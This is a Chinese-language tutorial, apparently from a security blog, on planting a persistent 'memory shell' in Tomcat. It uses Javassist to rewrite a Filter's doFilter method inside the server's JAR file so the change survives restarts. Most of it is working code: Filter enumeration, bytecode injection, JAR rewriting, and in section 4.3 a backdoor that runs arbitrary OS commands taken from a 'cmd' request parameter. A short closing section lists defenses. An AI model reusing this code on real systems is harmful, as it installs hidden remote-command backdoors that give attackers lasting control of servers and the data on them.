java filter马持久化
字数 1525 2025-08-25 22:59:09
Java Filter 持久化内存马技术分析与实现
1. 技术背景
Java Filter 持久化内存马是一种高级后渗透技术,通过在目标服务器的 JAR 文件中直接修改 Filter 类文件,实现恶意代码的持久化植入。这种技术与传统内存马相比具有以下特点:
- 持久性:修改后的恶意代码会随 JAR 文件永久保存,不受服务器重启影响
- 隐蔽性:不依赖常规的 Web 目录文件上传,直接在现有 JAR 文件中植入
- 灵活性:可针对 Filter、Servlet、Listener 等多种组件进行修改
2. 技术原理
2.1 核心思路
- 定位目标服务器中需要修改的 Filter 类
- 使用 JavaAssist 动态修改类字节码,插入恶意代码
- 直接修改包含该类的 JAR 文件,实现持久化
2.2 与传统内存马的区别
传统内存马通常:
- 通过反射动态注册 Filter
- 仅存在于内存中,重启后失效
- 容易被内存扫描工具检测
持久化内存马:
- 直接修改现有 Filter 实现类
- 修改后的代码会随 JAR 文件永久保存
- 更难以被常规检测手段发现
3. 技术实现步骤
3.1 环境准备
- 目标环境:Tomcat 8.5.65(其他中间件原理类似)
- 依赖工具:JavaAssist(用于字节码修改)
- 权限要求:Webshell 执行权限
3.2 实现流程
3.2.1 扫描所有 Filter
参考 c0ny1 的 tomcat-memshell-scanner.jsp 扫描出所有 Filter:
// 扫描代码示例(简化版)
Enumeration<FilterDef> filters = ((StandardContext)standardContext).getFilterDefs().elements();
while (filters.hasMoreElements()) {
FilterDef filterDef = filters.nextElement();
String filterName = filterDef.getFilterName();
String filterClass = filterDef.getFilterClass();
// 记录Filter名称和类名
}
3.2.2 定位需要修改的类和方法
通过反射查找目标 Filter 的真实 doFilter 方法所在类:
public static Object getTrueMethod(String className, String methodName, Class<?>... param)
throws ClassNotFoundException {
if (className != null) {
Method method = null;
Class<?> clazz = Class.forName(className);
while (clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, param);
return clazz;
} catch (Exception e) {
// 忽略异常,继续查找父类
}
clazz = clazz.getSuperclass();
}
}
return null;
}
3.2.3 使用 JavaAssist 修改字节码
关键代码实现:
public void doInject() throws ClassNotFoundException {
Class<?> clazz = null;
ClassPool classPool = ClassPool.getDefault();
// 添加当前类路径到ClassPool
ClassClassPath classPath = new ClassClassPath(this.getClass());
classPool.insertClassPath(classPath);
// 获取目标类和方法
clazz = (Class<?>) getTrueMethod(className, methodName,
new Class[]{ServletRequest.class, ServletResponse.class, FilterChain.class});
try {
// 获取相关接口类
CtClass CtServletRequest = classPool.get(ServletRequest.class.getName());
CtClass CtServletResponse = classPool.get(ServletResponse.class.getName());
CtClass CtFilterChain = classPool.get(FilterChain.class.getName());
String className = clazz.getName();
CtClass cc = classPool.get(className);
// 获取doFilter方法
CtMethod m = cc.getDeclaredMethod("doFilter",
new CtClass[]{CtServletRequest, CtServletResponse, CtFilterChain});
// 在doFilter方法开头插入恶意代码
m.insertBefore("System.out.println(\"test by change inject!\");");
// 更新JAR文件
updateJar(jarName, className.replaceAll("\\.", "/") + ".class", cc.toBytecode());
} catch (Exception e) {
e.printStackTrace();
}
}
3.2.4 修改 JAR 文件
实现 JAR 文件的读取和修改:
public static byte[] readStream(InputStream inStream) throws Exception {
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = inStream.read(buffer)) != -1) {
outSteam.write(buffer, 0, len);
}
outSteam.close();
inStream.close();
return outSteam.toByteArray();
}
public static void writeJarFile(String jarFilePath, String entryName, byte[] data)
throws Exception {
JarFile jarFile = new JarFile(jarFilePath);
TreeMap<String, byte[]> tm = new TreeMap<>();
// 读取原JAR所有条目
Enumeration<JarEntry> es = jarFile.entries();
while (es.hasMoreElements()) {
JarEntry je = es.nextElement();
byte[] b = readStream(jarFile.getInputStream(je));
tm.put(je.getName(), b);
}
// 写入新JAR文件
JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarFilePath));
Iterator<Map.Entry<String, byte[]>> it = tm.entrySet().iterator();
boolean has = false;
while (it.hasNext()) {
Map.Entry<String, byte[]> item = it.next();
String name = item.getKey();
JarEntry entry = new JarEntry(name);
jos.putNextEntry(entry);
byte[] temp;
if (name.equals(entryName)) {
temp = data; // 使用修改后的类
has = true;
} else {
temp = item.getValue(); // 原样保留
}
jos.write(temp, 0, temp.length);
}
// 如果是新增的类
if (!has) {
JarEntry newEntry = new JarEntry(entryName);
jos.putNextEntry(newEntry);
jos.write(data, 0, data.length);
}
jos.finish();
jos.close();
}
4. 技术细节与注意事项
4.1 关键点
-
类路径处理:必须正确设置 ClassPool 的类路径,否则可能找不到相关类
ClassClassPath classPath = new ClassClassPath(this.getClass()); classPool.insertClassPath(classPath); -
方法定位:需要准确找到 doFilter 方法实际所在的类(可能在其父类中)
-
JAR 文件修改:修改时需保留原 JAR 中其他文件不变,只替换目标类
4.2 环境适配
-
无 JavaAssist 环境:
- 热加载 JavaAssist JAR 包
- 或手动编译修改后的类文件再插入
-
不同中间件:
- 原理相同,只需定位对应的 Filter 类和 JAR 路径
- 如 Shiro 的 shiro-web.jar
4.3 恶意代码构造
示例中使用了简单的输出语句,实际可构造更复杂的恶意功能:
m.insertBefore("
javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest)$1;
javax.servlet.http.HttpServletResponse res = (javax.servlet.http.HttpServletResponse)$2;
String cmd = req.getParameter(\"cmd\");
if (cmd != null) {
try {
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String line;
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line).append(\"\\n\");
}
res.getWriter().write(sb.toString());
} catch (Exception e) {
res.getWriter().write(e.getMessage());
}
return;
}
");
5. 技术扩展
5.1 不限于 Filter
此技术同样适用于:
- Servlet:修改 service 方法
- Listener:修改相应事件处理方法
- Valve:修改 invoke 方法
5.2 动态生效
即使不重启服务器,也可通过 Java Agent 技术使修改后的类动态生效,实现"即时内存马"效果。
5.3 其他应用场景
- 利用任意文件上传漏洞(即使文件不解析)修改 JAR 中的类
- Spring Boot 的 fat jar 修改(需处理嵌套 JAR 结构)
6. 防御建议
- 文件完整性检查:对关键 JAR 文件进行哈希校验
- 运行时保护:使用 RASP 监控类加载和修改行为
- 权限控制:限制 Web 应用对自身 JAR 文件的写权限
- 安全扫描:定期检查 JAR 文件的修改时间和内容
7. 总结
Java Filter 持久化内存马技术是一种高级的后渗透持久化手段,相比传统内存马具有更强的隐蔽性和持久性。安全研究人员应了解其原理以更好地防御,而开发人员则应加强应用的安全防护措施,防止此类攻击得逞。